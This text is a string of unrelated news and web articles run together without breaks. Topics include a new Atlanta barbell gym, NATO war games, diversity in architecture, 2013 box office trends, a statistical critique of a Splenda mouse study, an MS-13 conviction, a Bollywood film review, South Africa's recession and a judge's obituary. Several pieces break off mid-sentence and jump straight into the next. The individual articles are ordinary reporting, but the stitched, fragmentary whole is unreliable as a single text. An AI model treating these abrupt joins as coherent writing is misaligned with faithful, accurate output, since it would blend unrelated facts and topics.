for all will open in early May. Georgia power lifting champion Lis Saunders along with owner of Henry and June, Jim Chambers are working on a new barbell-centric strength training facility, East Atlanta Barbell Club. The concept will be located at 530 Flat Shoals Avenue SE, in the former space of Brother Moto. AdvertisementSaunders will bring her elite power lifting skills, business acumen, and coaching skills to the table, and Chambers will assist with branding and startup capital. Whether you're a seasoned weight lifter, a beginner, or just someone who is looking to get generally fit, the fitness club will be everything but your average gym or fitness club, beginning with the price tag - Chambers told What Now Atlanta Saturday that all memberships will be under $75 per month. He is trying to out-think the CrossFit trend, and thinks that not much emphasis is placed on weight-lifting in the program, or the safety aspect of it. East Atlanta Barbell Club will be inspired by the 1950's and 60's, the era in which weight lifting first reached the masses with programs like Bill Starr's 5 x 5. Particularly, Chambers wants to bring back the simplicity of the program and the affordability factor: "People were paying a nickel to learn weight lifting moves and be a part of a community." One-on-one classes will be offered for those not very familiar with weight lifting. "We aren't opening East Atlanta Barbell Club with the intention of making a bunch of money and opening other locations." The operation comes out of a desire to teach weight lifting safely and intelligently, and create a nurturing environment where all will feel comfortable, even those who don't fit the traditional jock mold. Chambers plans to begin hosting a program out of the facility in partnership with Lift With Passion, an organization headed by his friend who is a physical therapist. The program will be geared at young women, possibly high school students. East Atlanta Barbell Club is slated to open in Early May. Will you be working out at East Atlanta Barbell Club? Tell us below...Story highlights NATO is holding huge war games exercises off the coast of Scotland Alliance says planning started long before Russia renewed its status as the alliance's chief adversary But commanding officer says Russia's behavior is an added motivation to do well in these exercises Stornaway, Scotland (CNN) Huge military exercises are underway off and around Britain's coast, but NATO insists they are not a deliberate response to the Russian military's increasingly brazen behavior. The British-led war games are code named Joint Warrior and the numbers are all big: 13,000 personnel from 14 countries operating more than 50 ships and submarines as well as 70 aircraft. NATO says the planning started long before Russia began behaving as an adversary. For more than a year NATO has been condemning Russia's actions in Ukraine as well as its frequent, large scale, snap military drills and those long-range Bear bombers repeatedly flying very close to NATO airspace. So, if Joint Warrior is not a deliberate response, it's certainly a timely one. Read More“One need only take a casual look at this audience to see that we have a long way to go in this field of integration of the architects.” That’s how civil rights activist Whitney M. Young, Jr., then the executive director of the National Urban League, opened his impassioned remarks to a convention of the American Institute of Architects (AIA) in 1968. Young’s speech has become a touchstone in a profession that, nearly 50 years later, still struggles to increase the racial diversity in its ranks. Progress is slow: It wasn’t until 1996 that the AIA—which celebrates its 160th birthday this year—appointed its first president of color, Raj Barr Kumar. (Its first woman president, Susan Maxman, served from 1992-93.) And the organization’s first African-American president, Marshall Purnell, began a yearlong term in 2007. Beyond the AIA, change has come only incrementally to the profession: As in other industries, people of color remain underrepresented in architecture. Though African Americans made up 13 percent of the total U.S. population at the last census, only 2 percent of licensed architects in the U.S. are African-American, according to the National Association of Minority Architects (NOMA). In 2007, African-American women made up a scant two-tenths of a percent of licensed architects in the U.S., for a total of just 196 practitioners. (The University of Cincinnati’s database of African-American architects reports an increase in that number, to 385, of a total 107,581 licensed practitioners in the U.S.) So what’s to be done? To better understand the dynamics at play—and suss out some solutions—we set out to speak with professionals, academics, and architects-in-training about their work. From young designers who run their own businesses, to established players with high-profile projects under their belts, we heard about the race-related challenges people of color have faced over the course of their time in school and at work. They told us about the architects of color, renowned and unheralded alike, that served as sources of inspiration, and how they forged paths for themselves where there were no pioneers. They also offered advice to students of color in architecture wending their own way from hushed libraries and leafy quads to boardrooms and office towers. Finally, and perhaps most crucially, each offered advice about how the profession can break down barriers to entry for people of all backgrounds—and explained why this matters. What we found is that race is inextricably tied to socioeconomic issues and gender representation. And that the seemingly innocuous—from the figures that populate computer-generated architecture renderings to the cost of balsam wood for project models—have contributed to the gulf between the architecture profession and the people it serves. —Asad Syrkett Architects of color—from the upstart to the experienced—on race-related challenges they have faced throughout their careers and their advice for how the profession can break down barriers to entry for people of all backgrounds. College deans across the U.S. are tackling architecture’s pipeline problem, working to foster a new generation of students who are racially and ethnically diverse. Depicting more people of color in renderings is a simple way to promote diversity and inclusion. So why isn’t it more common? From Julian Abele and Norma Sklarek to Takeo Shiota, here are 11 inspiring stories that history often overlooks. A compilation of mentor programs, volunteer opportunities, scholarships, and professional groups for architecture students and practicing architects of color. An interview with Pascale Sablan, an associate at FXFOWLE and the curator of “Say It Loud: Distinguished Black Designers of NYCOBA \| NOMA” at New York City’s Center for Architecture. 7 Architects You Need to Know 7 architects you need to know. Опубліковано Curbed 22 лютого 2017 р. 7 architects of color you need to know See some of stunning buildings and structures designed by Julian Abele, Maya Lin, David Adjaye, Billie Tsien, and more. Writers: Melinda Anderson, Emily Nonko, Patrick Sisson, Asad Syrkett, Tanay Warerkar Photographers: Scott McIntyre, Kevin Miyazaki, Andre Wagner Illustrator: Sunra Thompson Editors: Jessica Dailey, Kelsey Keith, Sara Polsky, Asad Syrkett Photo editor: Audrey Levine Copy editor: Emma AlpernI did my very best to hold off any year-end box office wrap-up stories until the year was actually over, lest I publish on Christmas and then watch in astonishment as Universal's 47 Ronin grossed $100 million over the Christmas weekend. Point being, the year isn't over until it's over. And now it's over so it's time to take a glance at just what happened. This won't be in any particular order. Hold your breath and dive in! 1. The mega-opening is now expected. I often make a joke about how certain moments in box office history make me feel like Tommy Lee Jones at the end of No Country For Old Men. Point being, I've covered box office long enough to remember when a $10 million debut was noteworthy, when a $20 million opening was superb, and anything over $40 million was approaching the record books. This year, there were ten opening weekends over $70 million. Disney's Iron Man 3 opened with $174 million, the second-biggest on record, and most of us just shrugged, somewhat impressed but mostly going through the reporting motions. The Hunger Games: Catching Fire opened with $158 million and actually found itself on the defensive and blamed for a dip in Lionsgate's stock the next day under the notion that we were all so sure that it was going to open even larger. Disney's Thor: The Dark World was on the defensive for merely opening right in line with its $75-$85m projections but under the "optimistic" $90m goal while The Wolverine was pronounced DOA for merely debuting with $54m (its $418m worldwide gross says otherwise). As someone who grew up "thrilled" by the first $20 million single day (Batman Forever in 1995), the first $100m opening weekend (Spider-Man in 2002), and the first $25m midnight gross (Twilight: New Moon in 2009), there is something beyond bizarre at now having to constantly defend opening weekends in the $55-$85m range, let alone a $158m debut. There are still happy surprises, as evidenced by the unexpectedly strong debuts of Warner Bros.' Gravity ($55m) and Disney's Frozen ($93m over 5 days), but the expectations at the top have become a little insane. I don't want to think about how big Star Wars Episode 7 or Avatar 2 will have to open in order to not be deemed disappointments. I it will be interesting to see what defines "success" in the coming years as the once impossible or implausible becomes the new normal. This year we had a $150m+ opening weekend "disappointment". Can the $200m+ "disappointment" (for Avengers: Age of Ultron perhaps?) be far behind? And then I woke up. 2. Hit tent poles now cover for flop tent poles Back when the term "tent pole" first started being used, it merely meant a big film that was more-or-less a guaranteed hit that would hold up the studio's entire slate and allow for disappointments or outright failures among the smaller releases. So for example Mission: Impossible would make Paramount so much money in 1996 that it would offer some cushion should the likes of The Phantom or The Ghost And The Darkness not catch on (spoiler: they didn't catch on). But these days, because so much of major studio product is one form of big-budget tent pole or another, the guaranteed money makers aren't providing breathing room for smaller pictures but rather offering a safe landing for the other tent poles that lose vast amounts of money. Disney can write off The Lone Ranger without breaking too much of a sweat because Iron Man 3, Frozen, Monsters University, and Thor: The Dark World made around $2.5 billion combined. By any logic, Universal should have been hurting in 2013. They had too massively expensive films that lost copious amounts of money. R.I.P.D. cost $130 million yet earned just $78m worldwide. Meanwhile, 47 Ronin cost anywhere from $175m to $225m and has grossed $44m worldwide with little hope of its final gross even approaching its budget. Yet Universal couldn't care less, since they had two of their biggest hits ever this year. Fast & Furious 6 earned $766m on a $160m budget while Despicable Me 2 earned $918m (thus far) worldwide on a $75m budget. Heck, Universal basically printed money with The Purge ($89 million on a budget of $3m) and The Best Man Holiday ($71m on a $17m budget). We may be in an eventual situation where it's the small budget smash hits that cushion the blow from the failing would-be blockbusters. Think Planes ($221m on a $50m budget) helping cushion the not-as-big-as-required worldwide grosses of Oz: The Great and Powerful ($491m on a $220m budget), but ask me again about that next January. For the moment, with too few major studios releasing too few "smaller" films, the tent poles that work now merely work to protect the studios from the financial harm of the tent poles that don't. 3. Domestic gross is all-but-irrelevant There are the obvious examples over the last twelve months of major films that seemed explicitly intended to strike gold overseas regardless of their domestic performances. The Wolverine is the second-biggest X-Men film worldwide despite being the lowest domestic grosser. Pacific Rim barely crossed $100m domestic yet made $400m worldwide. G.I. Joe: Retaliation was greenlit and constructed specifically with the intent of increasing its overseas grosses even at the expense of domestic earnings, and the film made $72m more worldwide than the first G.I. Joe despite making $30m less in America than The Rise of Cobra. And of course Iron Man 3 earned $121m of its $1.2 billion in China thanks to (among other things) specially-shot sequences involving Chinese characters that were never intended to be seen by domestic audiences. For comparison, Iron Man 2 made $8m in China three years ago. But just as important as the large-scale films are the much smaller films that lived-or-died by overseas currency. Paramount's Hansel & Gretel: Witch Hunters earned $55 million domestic yet $225m worldwide on a $50m budget. Lionsgate's Escape Plan didn't cross $25m domestic yet has now earned $123m worldwide, one of the largest spreads (79% overseas) for an American production in recent years, thanks to $40m earned in China alone. Even Prisoners earned nearly 50% of its $118m cume overseas, thus turning the $46m drama into a genuine smash. Even a seeming trifle like 20th Century Fox's Runner Runner made just $19m in America yet earned $63m worldwide, thus putting it on the road to eventual profitability at a $30m budget. Sony's Carrie remake barely recouped its $30m budget in America, yet strong overseas figures brought the film's worldwide total to $78m. Lionsgate's Now You See Me didn't just make $117m domestic to qualify as one of summer 2013's sleeper hits, it earned a whopping $350m worldwide, making it one of the more profitable non-horror films of the year on a $70m budget. What we're seeing is an industry where the vast majority of studio product, not just the mega-blockbusters, are dependent on foreign grosses to either create real profits or pull their butts out of the fire. No longer is a domestic success even necessary for the perception of success that can fuel overseas grosses, since so many major films open in various foreign territories ahead of their domestic debut. We've seen a slow creep toward a truly international film industry for the last twelve years or so. But this year was notable in terms of how many smaller films treated America as just another territory. The future of the film industry may not be just mega-budget superhero films, but smaller-budgeted genre entries like A Good Day To Die Hard ($67m domestic, $304m worldwide on a $92m budget) or Rush ($90m and counting, 70% of that overseas, on a $38m budget) that are hardwired to succeed outside of America in such a way that their domestic performance becomes all-but-unnecessary. 4. Women and minorities finally succeed on their own terms The important thing about this year's relative wave of female-centric smashes and black-centric successes isn't that they occurred, but that there was a widespread recognition that such success stories should be taken-for-granted. When Melissa McCarthy scored with Identity Thief ($174m worldwide on a $35m budget), it was taken merely as the birth of a genuine "face on the poster" movie star. When Sandra Bullock and McCarthy teamed up for The Heat, its box office success ($223m on a $43m budget) may have
the historical controls.” Part of this is fair. Their control does appear to be within the normal range for males of this breed, but the rest is suspicious because of the multiple comparison problem. Sure, if you pretend that they didn’t do all of the other comparisons or collect data on all of the other organ systems, their results for 2000, 8000, and 16000 ppm would be different from what has been historically reported, but you can’t ignore all of the other measurements that they made. When you consider the entire study and properly account for the family wise type 1 error rate, that significance goes away. Further, this still doesn’t explain why the 8000 ppm group was lower than the 2000 ppm group. Their second defense is: “If among the males exposed to the highest dose we exclude the animals bearing hematopoietic neoplasms, the survival is almost the same as among controls.” Well of course that’s the case. This is just a restatement of the data. I’m not denying that there were higher cancer rates in the 2000 and 16000 ppm groups. Rather, I am questioning whether that change is a significant one that was caused by Splenda. Finally, they state: “The cumulative hazard is much higher among males treated at 16,000, 8,000, and 2,000 ppm than in males exposed to 500 or 0 ppm (Fig.7).” This is true, but it’s also true that the cumulative hazard for the 8000 ppm group was lower than the cumulative hazard for the 2000 ppm group. That’s the key problem that they aren’t addressing. As a final note, I have seen several people argue that this study actually found that Splenda caused the cancer rates to decrease in females. It is true that the raw numbers went down, but the difference was not statistically significant, which makes that claim erroneous. Conclusion As I have said many times on this blog, the peer-review system is not perfect. Bad papers do sometimes make it through, and this is one of those papers. Its statistics were questionable at best, and it looks like the authors cherry-picked their results and failed to properly control the error rate. Importantly, the reported increases in cancer rates were very inconsistent, which is not at all what you would expect from a true result. Further, even if the results were correct, this study was on mice, it used unrealistically high doses, and it only found significant increases in males. So you can’t make the type of broad, fear-mongering generalizations that so many people are jumping to. More importantly than the results of this particular paper, however, I hope that you have learned some valuable lessons in critiquing scientific papers, because the things that I was pointing out are the type of things that you should look for in all papers. Reading the scientific literature should not be a passive process. Rather, it is usually an intensive, messy, and complicated process, and it does require you to have a certain level of background knowledge in scientific methodologies and statistics. So, if you really want to understand scientific studies, I strongly encourage you to take several courses in statistics. AdvertisementsTo view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video <p>Crossposted on <a href="http://newsbusters.org/blogs/nb/geoffrey-dickens/2016/05/10/charlie-ros…; <p>CHARLIE ROSE: My point is do you have equal impact on serious speeches? Because it’s about style, use of language, etcetera?</p> <p>JON LOVETT, FORMER OBAMA SPEECH WRITER: I really like, I was very — the joke speeches is the most fun part of this. But the things I’m the most proud of were the most serious speeches, I think. Health care, economic speeches.</p> <p>JON FAVREAU, FORMER OBAMA SPEECH WRITER: Lovett wrote the line about “If you like your insurance, you can keep it.”</p> <p>LOVETT: How dare you! </p> <p>[laughter]</p> <p>LOVETT: And you know what? It’s still true! No.</p> <p>--- Exchange was aired on the May 9, 2016 edition of PBS’s Charlie Rose show.</p>For those interested in bitcoin, 2015 has been an interesting year. It may even prove to be a critical one in the development of the digital currency, but, as usual, it has been far from plain sailing. The price of bitcoin, as measured by the exchange rate versus the U.S. dollar (BTC/USD) spent most of the year relatively stable. After sliding to below $200 early in January, BTC/USD stayed in a $200/$300 range until the latest surge began at the end of October. Now it may not seem that a range that represents 50 percent fluctuation is not particularly stable for a currency, but coming on the back of a couple of years when ranges were measured in the hundreds of percentage points it is, as I said, relatively stable. It should also be borne in mind that BTC is new, and in a year when some emerging market currencies saw volatility of around the same magnitude the range looks reasonable. The currency has had its share of controversy in 2015 too. The sentencing of Silk Road founder Ross Ulbricht to life in prison in June brought renewed focus on the “dark side” of crypto currencies, and the "revelation" that ISIS and other terror groups probably use bitcoin to facilitate the movement of money shocked people who hadn’t been paying attention to the fact that doing so was easy, fast and cheap as well as anonymous. At the end of the year we were once again told that Satoshi Nakomoto, the mysterious creator of bitcoin, had been identified. The quiet that has followed that news, though, along with the fact that other such stories have been run in the past and faded, suggests that this was just another false alarm. For once, though, neither the price of bitcoin nor the scare stories surrounding it were the real news. What got much of the bitcoin community and even the mainstream media aerated was the increasing use of “blockchain technology” in trial projects sponsored by large, mainstream Wall Street firms. With the exception of the continued protestations of Jamie Dimon, big finance seems to have moved from denial and attack of anything associated with digital currency to an attempt to effectively purchase the ideas behind it. That is what big business does; if it cannot beat an idea with logic or lawsuits it uses its most powerful weapon…money. Unlike the scare stories and pricing panic the widespread adoption of distributed ledger systems, if it comes, could be truly impactful on the long term future of digital currency. There are of course worries about Wall Street co-opting the blockchain and leaving bitcoin behind, but that looks unlikely to happen, as the currency is so embedded in the original system. It is far more likely that the added legitimacy will stimulate interest and as a result boost the growth in transactions. If those transactions continue to grow, then I guess eventually even Mr. Dimon will have to accept reality, or he will begin to sound like one of the bitcoin hating trolls that have, thankfully faded from view this year. As I look back on the year, it is that, the change in tone of the conversation surrounding bitcoin, that gives me the most pleasure, and the most hope for the year ahead. I try, in these articles, to take a logical, reasoned position when discussing matters bitcoin, but at the start of this year that still prompted responses that were anything but logical or reasoned, and on both sides of the debate. Thankfully the trolls have mostly faded away and the continued growth in bitcoin seems to have made the proponents less inclined to see anything other than the accepted level of ideological purity as an attack. The debate has definitely improved as a result. 2015 has been an intriguing, and maybe pivotal year for bitcoin. The future is still uncertain to some extent, but increasing interest and understanding, helped by a more reasoned tone of debate and commentary give me hope that it will be bright. The author would like to thank all of the regular readers of these pieces for their support and often fascinating comments throughout the year; long may they continue. Happy Holidays!A federal jury today convicted two Hyattsville, Maryland, men on charges related to the racketeering enterprise activity of a gang known as La Mara Salvatrucha, or MS-13. Assistant Attorney General Leslie R. Caldwell of the Justice Department’s Criminal Division; U.S. Attorney Rod J. Rosenstein of the District of Maryland; Special Agent in Charge Andre R. Watson of U.S. Immigration and Customs Enforcement’s (ICE) Homeland Security Investigations (HSI) Baltimore Field Office; Chief Hank Stawinski of the Prince George’s County, Maryland, Police Department; Chief J. Thomas Manger of the Montgomery County, Maryland, Police Department; Prince George’s County State’s Attorney Angela D. Alsobrooks; and Montgomery County State’s Attorney John McCarthy. Eric Antonio Mejia-Ramos, aka Flaco, 22, and Miguel Angel Manjivar, aka Masflow and Garra, 25, were both found guilty of conspiracy to participate in a racketeering enterprise by a federal jury sitting in U.S. District Court for the District of Maryland. In addition, Manjivar was found guilty of murder in aid of racketeering. U.S. District Judge Roger W. Titus of the District of Maryland scheduled sentencing for Mejia Ramos on Jan. 5, 2017, and Manjivar on Jan. 23, 2017. MS-13 is a national and transnational gang composed primarily of immigrants or descendants from El Salvador. Branches or “cliques” of MS-13, one of the largest street gangs in the United States, operate throughout Prince George’s County and Montgomery County. MS-13 members are required to commit acts of violence to maintain membership and discipline within the gang. One of the principal rules of MS-13 is that its members must attack and kill rivals, known as “chavalas,” whenever possible. According to evidence presented at trial, from at least 2009 through October 2014, MS-13 members planned and committed numerous crimes, including murders, attempted murders, kidnappings, assaults, robberies and witness tampering and retaliation in Prince George’s and Montgomery Counties. Gang members also extorted brothel operators and owners of other illegal businesses and tampered with and retaliated against witnesses, among other crimes. Mejia-Ramos was a member of the MS-13 Parkview Locotes Salvatrucha Clique and Manjivar was a member of the MS-13 Peajes Locotes Salvatrucha Clique. Trial evidence showed that on Sept. 16, 2010, Manjivar shot and killed an individual he believed to be a rival gang member on the footbridge of a park in Hyattsville. On Jan. 10, 2011, Manjivar and other MS-13 members murdered a person they believed was a rival gang member and attempted to murder another purported rival gang member in a parking lot in Hyattsville. Manjivar and others repeatedly punched, kicked and stabbed the victims, one of whom survived the attack. In addition, trial evidence demonstrated that on Jan. 13, 2011, Manjivar attended a Peajes Clique meeting, where he criticized other MS-13 members for not committing enough violent crimes. Manjivar then left in a mini-van driven by a co-defendant with other Peajes members as passengers, and as a group, they attacked a person they believed to be an associate of a rival gang and dragged him back into the vehicle. Manjivar and others continued to assault him, at times attempting to use a seat belt to strangle the victim, as well as kicked, stabbed and choked him. Trial evidence demonstrated that they forcefully stripped the victim of his heavy winter clothing in order to stab him, and then dragged him into the woods, where they left him for dead and fled. The victim survived the attack. According to evidence presented at trial, on the night of Aug. 28, 2012, Mejia-Ramos lured a woman he believed to be a rival gang member to a park in Beltsville, Maryland, telling her they were going to party. He then shot the woman to death. In addition to these convictions, eight of the 13 defendants charged in this investigation have pleaded guilty to their roles in the racketeering conspiracy and two have been convicted. HSI Baltimore, Prince George’s County Police Department, Montgomery County Police Department, Prince George’s State’s Attorney’s Office and Montgomery County State’s Attorney’s Office investigated the case. Trial Attorney Catherine K. Dick of the Criminal Division’s Organized Crime and Gang Section (OCGS) and Assistant U.S. Attorneys William D. Moomau and Lindsay Eyler Kaplan of the District of Maryland are prosecuting the case. Former OCGS Trial Attorney Kevin Rosenberg assisted in the prosecution of this case.1903: Clyde J. Coleman is issued a patent for an electric automobile starter. Coleman originally applied for the patent in 1899, but his early designs proved impractical. The need for this kind of starter for an internal combustion engine was obvious. Automobiles were getting larger, and hand-cranking � the method used to get the pistons moving in order to make ignition possible � was not only cumbersome, but physically demanding and potentially injurious. The hand cranks in use at the time were built with an overrun mechanism meant to disengage the crank from the spinning drive shaft, but it was designed to work in forward drive only. If the car backfired, the engine could slip into reverse, forcing the crank backward sharply. The result could be a broken thumb, or worse. The electric starter motor, when perfected, meant the end of the hand-cranked automobile. Coleman sold his patent to the Delco Company, which was taken over by General Motors. Charles Kettering, a Delco engineer who joined GM, did some tinkering with Coleman's design and received his own patent for an improved version. The 1912 model Cadillac became the first car to replace the hand crank with an electric starter motor. Most automobile manufacturers switched over to the electric starter during the teens, although Ford's Model T continued using the hand crank through 1919. With the exception of those old Model T's, almost every American car on the road boasted an electric starter by 1920. Source: GM, Wikipedia Image: Cadillac touts its new electric starter in this advertisement. Courtesy The Detroit Free Press/GM This article first appeared on Wired.com Nov. 24, 2008. See Also:VANCOUVER, Canada – In the video below, Richard Trumka, president of the AFL-CIO, addresses the International Trade Union Confederation’s second world congress, June 21 here in Vancouver, Canada. Trumka’s speech summarizes the overwhelming majority of positions expressed during the congress by trade unionists from around the world. Delegate after delegate called for a new world economic order and demanded national and international stock transaction taxes to “make the financial institutions pay to clean up the mess their greed created.” Much attention was given to rising inequality heightened by the global economic crisis. Delegates called for united international efforts to organize workers in the “informal” or “underground” economies. Many called for special efforts to organize women and young workers, disproportionately the victims of the informal economy. Delegates also strongly rejected corporate and government voices calling for austerity programs that cut jobs, wages, and social programs for workers in the name of “balanced budgets.” Instead they called for new massive public investments in emerging green industries and infrastructure projects that benefit people and put money in circulation to create jobs. And they didn’t just talk. Delegates from the European Union countries developed plans for EU-wide protests on September 29 that will include general strike action in Spain and other countries. The ITUC elected its first woman general secretary, Sharan Burrow. Burrow was elected president of the Australian Council of Trade Unions (ACTU) in 2000, a post she will now give up to devote full time to the ITUC. Photo: Scott Marshall/PWSimran Movie Review: Kangana Ranaut in a film still. Cast: Kangana Ranaut, Mark Justice, Soham Shah, Hiten Kumar Director: Hansal Mehta Rating: 2.5 stars out of 5 Robbing a bank is traditionally a man's job. According to the FBI, the few women caught in bank robberies are mostly accomplices or driving the getaway car. Of course, the phrase "traditionally a man's job" is anathema to Kangana Ranaut and the defiant characters she plays, which is why Simran - a story based on a real-life female bank robber - sounds tailored for the actress. At one point in the film during a quick Pretty Woman tribute, Ranaut, like Julia Roberts in the 90s film, covets dresses she can't afford but, unlike Roberts, she's the one who singlehandedly raises the money, goes back and shocks the sneering shopgirl. It is a smart and telling alteration. Kangana may well be a pretty woman, but she is also her own Richard Gere. This can be both amazing and alarming. It is super to watch a self-assured performer vault over any challenge a script throws, but never ideal to see a script contort in order to give the actress room to show off everything she can do - including things that don't necessarily suit the film. Hansal Mehta's Simran works best when breezing along with a light touch, when Ranaut effervescently befriends bartenders and cheerily refuses to take no for an answer. Unfortunately the film, doubling up as a showreel for the actress, pretends also to be a drama, a thriller, even a sweet romance. None of these other gears work well enough, and the eventual result is tedious. Simran opens well, with Ranaut's character Praful Patel cleaning a hotel room. Part of the Hilton housekeeping staff, she picks up an upturned Milan Kundera book, dusts beneath it, and replaces it carefully as it was, before she makes a bed and scrubs a sink, thorough as can be. This is a laser-focussed Gujarati girl who wants to buy her own house, even though the "Indian temple" in the neighbourhood holds no attraction (it's a Gurudwara), and neither does the nearby kebab shop (she's vegetarian). She wants it because it's a minority housing bargain, and the divorcee can't wait to move out of her parents' house and do her own thing. Kangana Ranaut In Simran One evening, Praful Patel meets the game James Bond plays. Everything changes once she wins her first hand of baccarat, and soon she's looking up YouTube videos on how to hold up banks and spook cashiers. This is the meat of the film, yet the robberies soon feel repetitive. In a film that seems otherwise realistic and grounded, they come across as unreal and convenient. All her robberies are performed in the same outfit using the same technique - handing a bank teller a note scrawled in lipstick - and while news channels are constantly showing footage of her thefts, people in banks seem blissfully unaware of her modus operandi and fall for it over and over again. Most banks, it seems, don't even have security guards. Just cashiers, one of whom Patel even blows a kiss to as she escapes. Kangana Ranaut in Simran Besides Praful, every character in the film is one note, from the rigid father to the helpless mother to the scary moneylender to the sincere suitor. These actors seem particularly stagey and theatrical in contrast with Ranaut, who shines with a spontaneous and often irresistible performance. Sure, her character's English improves and worsens inconsistently, but Ranaut makes it work, especially in brilliant moments like when, about to confess to her crimes, she compares the feeling to that of losing control of her bowels. This may feel like a familiar Kangana performance with a Gujarati accent thrown on, but there's something special about the way she makes the character appear constantly amused by herself. Ranaut and a few clever lines keep the film watchable, until the third act where the script sadistically starts piling misfortune on the character to ratchet up the dramatic tension. This is a bad move, leading to a prolonged climactic chase sequence featuring a leading lady who - we were told near the start of the film - is a poor driver. The last half hour has cringeworthy pacing and feels more mean-spirited than the rest of the film for no good reason. Perhaps we are only allowed one spectacular bank robbery film set in the city of Atlanta in one year. Kangana Ranaut in Simran Based on the fascinating story of young nurse and compulsive robber/gambler Sandeep Kaur, this is a film that - judging from the warm, funny bits - would have benefited from an overall jauntiness, in the vein of Catch Me If You Can. Instead we have a film that wants to tell jokes, make us cry and make us gasp, and - with no real flow between the tonally different sequences, save for jarring songs every now and then - only the jokes ever work. (And not all of them. There is a terribly cheesy moment, for example, where we learn why the film is called Simran.) Kangana Ranaut in Simran The finest scenes in Simran are the ones where Ranaut is playfully bantering with a Las Vegas bartender. There's true charm and crackle to these moments where he takes a shine to her. She asks him for free fries and, undeterred by their absence, demands and settles for free peanuts instead. I was reminded of a old buddy from school who, when offered cheap beer, used to say, "Free mein toh hum phenyl bhi pee lete hain" - "for free I'd even drink phenyl" - a sentiment Praful Patel would likely applaud. That happens also to be the least disappointing way to consume this film: go watch a good performance and get the rest of the film for free.Johannesburg – Negative growth in the private sector is to blame for the country's technical recession, ANC secretary general Gwede Mantashe has said. "New sectors in the private sector, the financial sector, retail and trade are negative. All those are not in the hands of government, they are in the hands of the private sector," he told News24 on Tuesday. Government is making considerable progress in agriculture and mining, he claimed. “Agriculture is doing well because we paid a lot of attention to it. Mining has contributed positively." READ: Save SA blames GDP shock on ‘recession president’ Zuma On Tuesday, Statistics SA said the country has slipped into a recession after its gross domestic product declined 0.7% during the first quarter of 2017, after contracting by 0.3% in the fourth quarter of 2016, Fin24 reported. Mantashe said the ANC is putting responsibility for the country’s economic growth on the private sector, and that the government and private sector have to work together to get the country out of the slump. READ: What you need to know about a recession "We should not have a plan of the ANC. There should be a plan of the country, including the private sector that controls more than 70% of the economy.” Media no regard for economy If the private sector makes negative statements about the country, it will drive investment away. The privately-owned media sector is publishing negative stories about President Jacob Zuma, regardless of the effect this is having on the economy, he said. READ: EFF blames recession on lack of quality leadership from ANC “The media of the private sector... has made it its business to publish negative stories continually because they don’t like the president of the ANC, even if it sinks the economy of the country." This is the second time in eight years that the country is in a technical recession, defined as two consecutive quarters of negative economic growth.AL HOCEIMA, Morocco — The house, down a dusty dirt track in a small village near the city of Al Hoceima in northern Morocco, looked dreary outside, with its unpainted facade, but inside the mood was cheery. Friends and family were celebrating the return of a young singer and human rights activist who had just been released from jail. King Mohammed VI pardoned the young woman, Salima Ziani, 23, late last month after his annual speech commemorating his ascension to the throne, which is usually followed by mass pardons. Ms. Ziani had been eating dinner with her three cellmates in Oukacha Prison in Casablanca when she was summoned to the office of the prison warden. The warden gave her a flower and said she was free to return to her hometown, Al Hoceima, in the mountainous Rif region along Morocco’s northern coast. She had been jailed for two months for her role in leading the protests that have been shaking the Rif since the gruesome death of a fishmonger in October. What began as a spontaneous movement calling for a serious inquiry into the tragedy has turned into one of the longest protest movements in the region since the Arab Spring.Turkish officials ban religious symbols at yoga centers Gamze Kolcu - ANKARA Having religious symbols and playing music specific to various religions at yoga centers has been banned according to a directive released by the Sports for Everyone Federation of Turkey (HİS), with officials arguing they aimed to take measures against missionary activities with the directive.Consequently, having Buddha sculptures and mantra symbols as well as the playing of religious music and burning of incense can be considered violations which lead to the closure of these centers.Yoga trainers have reacted against the instruction, which included the phrase “different religions,” underlining yoga cannot be considered a religion and the use of symbols was natural.According to HİS Technical Board head Süleyman Gönülateş, however, the instruction is a routine arrangement and religion should not be a part of sports. The instruction bans all kinds of religious symbols, including Islamic symbols, Gönülateş said.This is the first time in Turkey that a specification and criteria has been drafted for yoga centers, Gönülateş said, suggesting they have taken measures against missionary work.There should be no religious symbols at yoga centers, likewise at all sports centers, he said.“We prepared the directive and the Youth and Sports Ministry approved it. At the drafting stage, the opinions of yoga trainers were sought. We mean all religions including Islam with the phrase ‘different religions.’ When symbols belonging to religions enter sports centers, then missionary work and politics begins. If yoga is a sport, then it should have nothing in it which is related to religion. We don’t want to see explicit symbols such as crosses at sports centers,” said Gönülateş.While acknowledging the opinion of yoga teachers had been sought, Erol Benjamin Scott, the former chair of the Association of Yoga Trainers, nonetheless, said the final version of the directive was not in line with those opinions.“What they mean by ‘religious symbols’ is not clear. Any federation of the state should not interfere in this affair. The article citing ‘different religions’ is thought-provoking. Yoga is far from being a religion and is a culture with 5,000 disciplines in it,” Scott said, urging for a review of the directive.SAN JOSE — John T. Racanelli, a retired California justice whose pioneering opinions had a profound impact on disability rights and the environment, died Thursday at his home in Manhattan. His wife, journalist Betty Medsger, confirmed the death and said he had congestive heart failure and recurrent aspiration pneumonia. Racanelli was a trial judge in Santa Clara County Superior Court for 13 years, starting in 1964 when he was appointed by Gov. Pat Brown. He became what he liked to call a “double brownie,” Medsger said, when Pat Brown’s son, Gov. Jerry Brown, then appointed him in 1977 to the state appellate court. He served for 14 years before retiring in 1991. After retiring, he joined the board of directors of a leading Bay Area conservation group, the Bay Institute. His most ground-breaking ruling, eponymously known as the Racanelli decision, came in 1986, which established for the first time that the government must protect not just the water rights of farmers and municipalities but also the needs of fish and wildlife. “It remains an important decision,” said Harrison Dunning, a leading expert on natural resources law and water law who taught at the UC-Davis. “He was a very eloquent spokesman for environmental values.” Racanelli also authored a key decision on disability rights, the Becker case, which held that a man with Down syndrome had a right to a life-saving surgery his parents who’d abandoned him didn’t want to pay for. The ruling strengthened social and legal policies that favored the best interests of the child. Recently, he was one of nine high-ranking retired state judges who wrote a key letter advising President Barack Obama on opening diplomatic ties with Cuba. Racanelli started out as a lawyer in San Francisco, but soon established a thriving practice in Sunnyvale and an active role in the Democratic party before taking the bench. His son, John C. Racanelli, said his father was always committed to social justice — perhaps in part because he experienced discrimination first-hand “to a smaller degree” as the son of Italian immigrants on the East Coast in the 1920s and 30s. Well before the current wave of criminal justice reform in California, he received an award in 1974 for “equitable administration of justice to the poor and indigent” from Santa Clara Community Legal Services. He also served on the board of the National Council on Crime and Delinquency, a nonprofit social research group whose mission includes creating rehabilitative justice systems for youth and adults, and addressing the needs of older adults and adults with disabilities. John C. Racanelli said his father was beloved and admired by his children, including his two daughters and two other sons. But he was clearly a man of the law. “Dad fingerprinted me when I was six,” he said, recalling how his father dipped all the 